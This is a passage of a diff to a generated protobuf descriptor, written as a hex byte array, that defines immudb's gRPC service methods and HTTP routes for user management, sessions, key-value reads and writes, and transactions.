0x75, 0x53, 0x65, 0x72, 0x76, 0x69, + 0x63, 0x65, 0x12, 0x50, 0x0a, 0x09, 0x4c, 0x69, 0x73, 0x74, 0x55, 0x73, 0x65, 0x72, 0x73, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, - 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, - 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, - 0x00, 0x12, 0x3d, 0x0a, 0x09, 0x4b, 0x65, 0x65, 0x70, 0x41, 0x6c, 0x69, 0x76, 0x65, 0x12, 0x16, - 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, - 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, - 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x00, - 0x12, 0x44, 0x0a, 0x05, 0x4e, 0x65, 0x77, 0x54, 0x78, 0x12, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x65, 0x77, 0x54, 0x78, 0x52, - 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x65, 0x77, 0x54, 0x78, 0x52, 0x65, 0x73, 0x70, - 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x00, 0x12, 0x41, 0x0a, 0x06, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, - 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, - 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, - 0x65, 0x64, 0x53, 0x51, 0x4c, 0x54, 0x78, 0x22, 0x00, 0x12, 0x3c, 0x0a, 0x08, 0x52, 0x6f, 0x6c, - 0x6c, 0x62, 0x61, 0x63, 0x6b, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, - 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x16, 0x2e, + 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x55, 0x73, 0x65, 0x72, 0x4c, 0x69, 0x73, 0x74, + 0x22, 0x12, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0c, 0x12, 0x0a, 0x2f, 0x75, 0x73, 0x65, 0x72, 0x2f, + 0x6c, 0x69, 0x73, 0x74, 0x12, 0x58, 0x0a, 0x0a, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x55, 0x73, + 0x65, 0x72, 0x12, 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, + 0x6d, 0x61, 0x2e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x55, 0x73, 0x65, 0x72, 0x52, 0x65, 0x71, + 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, + 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x10, 0x82, 0xd3, + 0xe4, 0x93, 0x02, 0x0a, 0x3a, 0x01, 0x2a, 0x22, 0x05, 0x2f, 0x75, 0x73, 0x65, 0x72, 0x12, 0x70, + 0x0a, 0x0e, 0x43, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, + 0x12, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x2e, 0x43, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x52, + 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, + 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x20, + 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x1a, 0x3a, 0x01, 0x2a, 0x22, 0x15, 0x2f, 0x75, 0x73, 0x65, 0x72, + 0x2f, 0x70, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x2f, 0x63, 0x68, 0x61, 0x6e, 0x67, 0x65, + 0x12, 0x75, 0x0a, 0x10, 0x43, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x50, 0x65, 0x72, 0x6d, 0x69, 0x73, + 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x50, 0x65, 0x72, 0x6d, 0x69, + 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x67, + 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, + 0x6d, 0x70, 0x74, 0x79, 0x22, 0x21, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x1b, 0x3a, 0x01, 0x2a, 0x22, + 0x16, 0x2f, 0x75, 0x73, 0x65, 0x72, 0x2f, 0x63, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x70, 0x65, 0x72, + 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x6c, 0x0a, 0x0d, 0x53, 0x65, 0x74, 0x41, 0x63, + 0x74, 0x69, 0x76, 0x65, 0x55, 0x73, 0x65, 0x72, 0x12, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x65, 0x74, 0x41, 0x63, 0x74, 0x69, + 0x76, 0x65, 0x55, 0x73, 0x65, 0x72, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, - 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x00, 0x12, 0x44, 0x0a, 0x09, 0x54, 0x78, 0x53, 0x51, 0x4c, - 0x45, 0x78, 0x65, 0x63, 0x12, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x45, 0x78, 0x65, 0x63, 0x52, 0x65, 0x71, 0x75, - 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, - 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x00, 0x12, 0x4d, 0x0a, - 0x0a, 0x54, 0x78, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x12, 0x1e, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x51, - 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1d, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x51, - 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x22, 0x00, 0x12, 0x5d, 0x0a, 0x05, - 0x4c, 0x6f, 0x67, 0x69, 0x6e, 0x12, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, - 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4c, 0x6f, 0x67, 0x69, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, - 0x73, 0x74, 0x1a, 0x1c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x4c, 0x6f, 0x67, 0x69, 0x6e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, - 0x22, 0x19, 0x92, 0x41, 0x02, 0x62, 0x00, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0b, 0x3a, 0x01, 0x2a, - 0x22, 0x06, 0x2f, 0x6c, 0x6f, 0x67, 0x69, 0x6e, 0x88, 0x02, 0x01, 0x12, 0x4f, 0x0a, 0x06, 0x4c, - 0x6f, 0x67, 0x6f, 0x75, 0x74, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, + 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x1e, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x18, 0x3a, 0x01, 0x2a, + 0x22, 0x13, 0x2f, 0x75, 0x73, 0x65, 0x72, 0x2f, 0x73, 0x65, 0x74, 0x61, 0x63, 0x74, 0x69, 0x76, + 0x65, 0x55, 0x73, 0x65, 0x72, 0x12, 0x4a, 0x0a, 0x10, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x41, + 0x75, 0x74, 0x68, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x41, 0x75, 0x74, 0x68, 0x43, 0x6f, + 0x6e, 0x66, 0x69, 0x67, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, + 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x03, 0x88, 0x02, + 0x01, 0x12, 0x4a, 0x0a, 0x10, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x4d, 0x54, 0x4c, 0x53, 0x43, + 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, + 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4d, 0x54, 0x4c, 0x53, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, + 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, + 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x03, 0x88, 0x02, 0x01, 0x12, 0x56, 0x0a, + 0x0b, 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x21, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4f, 0x70, 0x65, + 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, + 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, + 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x73, 0x70, 0x6f, + 0x6e, 0x73, 0x65, 0x22, 0x00, 0x12, 0x40, 0x0a, 0x0c, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x53, 0x65, + 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, - 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x15, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0c, 0x3a, 0x01, 0x2a, - 0x22, 0x07, 0x2f, 0x6c, 0x6f, 0x67, 0x6f, 0x75, 0x74, 0x88, 0x02, 0x01, 0x12, 0x4d, 0x0a, 0x03, - 0x53, 0x65, 0x74, 0x12, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x17, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, - 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x12, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0c, 0x3a, - 0x01, 0x2a, 0x22, 0x07, 0x2f, 0x64, 0x62, 0x2f, 0x73, 0x65, 0x74, 0x12, 0x70, 0x0a, 0x0d, 0x56, - 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x12, 0x23, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, - 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, - 0x74, 0x1a, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x22, 0x1d, - 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x17, 0x3a, 0x01, 0x2a, 0x22, 0x12, 0x2f, 0x64, 0x62, 0x2f, 0x76, - 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x2f, 0x73, 0x65, 0x74, 0x12, 0x4d, 0x0a, - 0x03, 0x47, 0x65, 0x74, 0x12, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4b, 0x65, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, - 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x45, 0x6e, 0x74, 0x72, 0x79, 0x22, 0x15, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0f, 0x12, 0x0d, 0x2f, - 0x64, 0x62, 0x2f, 0x67, 0x65, 0x74, 0x2f, 0x7b, 0x6b, 0x65, 0x79, 0x7d, 0x12, 0x73, 0x0a, 0x0d, - 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x47, 0x65, 0x74, 0x12, 0x23, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, - 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, - 0x73, 0x74, 0x1a, 0x1e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x45, 0x6e, 0x74, - 0x72, 0x79, 0x22, 0x1d, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x17, 0x3a, 0x01, 0x2a, 0x22, 0x12, 0x2f, - 0x64, 0x62, 0x2f, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x2f, 0x67, 0x65, - 0x74, 0x12, 0x5a, 0x0a, 0x06, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x12, 0x20, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x65, 0x6c, 0x65, - 0x74, 0x65, 0x4b, 0x65, 0x79, 0x73, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x17, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, - 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x15, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0f, 0x3a, 0x01, - 0x2a, 0x22, 0x0a, 0x2f, 0x64, 0x62, 0x2f, 0x64, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x12, 0x56, 0x0a, - 0x06, 0x47, 0x65, 0x74, 0x41, 0x6c, 0x6c, 0x12, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4b, 0x65, 0x79, 0x4c, 0x69, 0x73, 0x74, 0x52, - 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x22, 0x15, - 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0f, 0x3a, 0x01, 0x2a, 0x22, 0x0a, 0x2f, 0x64, 0x62, 0x2f, 0x67, - 0x65, 0x74, 0x61, 0x6c, 0x6c, 0x12, 0x59, 0x0a, 0x07, 0x45, 0x78, 0x65, 0x63, 0x41, 0x6c, 0x6c, - 0x12, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x45, 0x78, 0x65, 0x63, 0x41, 0x6c, 0x6c, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, - 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x16, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x10, - 0x3a, 0x01, 0x2a, 0x22, 0x0b, 0x2f, 0x64, 0x62, 0x2f, 0x65, 0x78, 0x65, 0x63, 0x61, 0x6c, 0x6c, - 0x12, 0x4f, 0x0a, 0x04, 0x53, 0x63, 0x61, 0x6e, 0x12, 0x1a, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x63, 0x61, 0x6e, 0x52, 0x65, 0x71, - 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x22, 0x13, 0x82, 0xd3, - 0xe4, 0x93, 0x02, 0x0d, 0x3a, 0x01, 0x2a, 0x22, 0x08, 0x2f, 0x64, 0x62, 0x2f, 0x73, 0x63, 0x61, - 0x6e, 0x12, 0x58, 0x0a, 0x05, 0x43, 0x6f, 0x75, 0x6e, 0x74, 0x12, 0x18, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4b, 0x65, 0x79, 0x50, 0x72, - 0x65, 0x66, 0x69, 0x78, 0x1a, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x43, 0x6f, 0x75, 0x6e, 0x74, 0x22, - 0x1a, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x14, 0x12, 0x12, 0x2f, 0x64, 0x62, 0x2f, 0x63, 0x6f, 0x75, - 0x6e, 0x74, 0x2f, 0x7b, 0x70, 0x72, 0x65, 0x66, 0x69, 0x78, 0x7d, 0x12, 0x53, 0x0a, 0x08, 0x43, - 0x6f, 0x75, 0x6e, 0x74, 0x41, 0x6c, 0x6c, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, - 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, - 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x45, 0x6e, 0x74, 0x72, 0x79, 0x43, 0x6f, 0x75, 0x6e, 0x74, 0x22, 0x14, 0x82, 0xd3, 0xe4, 0x93, - 0x02, 0x0e, 0x12, 0x0c, 0x2f, 0x64, 0x62, 0x2f, 0x63, 0x6f, 0x75, 0x6e, 0x74, 0x61, 0x6c, 0x6c, - 0x12, 0x4a, 0x0a, 0x06, 0x54, 0x78, 0x42, 0x79, 0x49, 0x64, 0x12, 0x18, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x52, 0x65, 0x71, - 0x75, 0x65, 0x73, 0x74, 0x1a, 0x11, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x22, 0x13, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0d, 0x12, - 0x0b, 0x2f, 0x64, 0x62, 0x2f, 0x74, 0x78, 0x2f, 0x7b, 0x74, 0x78, 0x7d, 0x12, 0x73, 0x0a, 0x10, - 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x42, 0x79, 0x49, 0x64, - 0x12, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x52, 0x65, 0x71, - 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, - 0x78, 0x22, 0x1e, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x18, 0x12, 0x16, 0x2f, 0x64, 0x62, 0x2f, 0x76, - 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x2f, 0x74, 0x78, 0x2f, 0x7b, 0x74, 0x78, - 0x7d, 0x12, 0x50, 0x0a, 0x06, 0x54, 0x78, 0x53, 0x63, 0x61, 0x6e, 0x12, 0x1c, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x53, 0x63, - 0x61, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x15, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x4c, 0x69, 0x73, 0x74, - 0x22, 0x11, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0b, 0x3a, 0x01, 0x2a, 0x22, 0x06, 0x2f, 0x64, 0x62, - 0x2f, 0x74, 0x78, 0x12, 0x58, 0x0a, 0x07, 0x48, 0x69, 0x73, 0x74, 0x6f, 0x72, 0x79, 0x12, 0x1d, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x48, - 0x69, 0x73, 0x74, 0x6f, 0x72, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, - 0x74, 0x72, 0x69, 0x65, 0x73, 0x22, 0x16, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x10, 0x3a, 0x01, 0x2a, - 0x22, 0x0b, 0x2f, 0x64, 0x62, 0x2f, 0x68, 0x69, 0x73, 0x74, 0x6f, 0x72, 0x79, 0x12, 0x6b, 0x0a, - 0x0a, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x20, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x65, 0x72, 0x76, - 0x65, 0x72, 0x49, 0x6e, 0x66, 0x6f, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x21, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x65, - 0x72, 0x76, 0x65, 0x72, 0x49, 0x6e, 0x66, 0x6f, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, - 0x22, 0x18, 0x92, 0x41, 0x02, 0x62, 0x00, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0d, 0x12, 0x0b, 0x2f, - 0x73, 0x65, 0x72, 0x76, 0x65, 0x72, 0x69, 0x6e, 0x66, 0x6f, 0x12, 0x55, 0x0a, 0x06, 0x48, 0x65, - 0x61, 0x6c, 0x74, 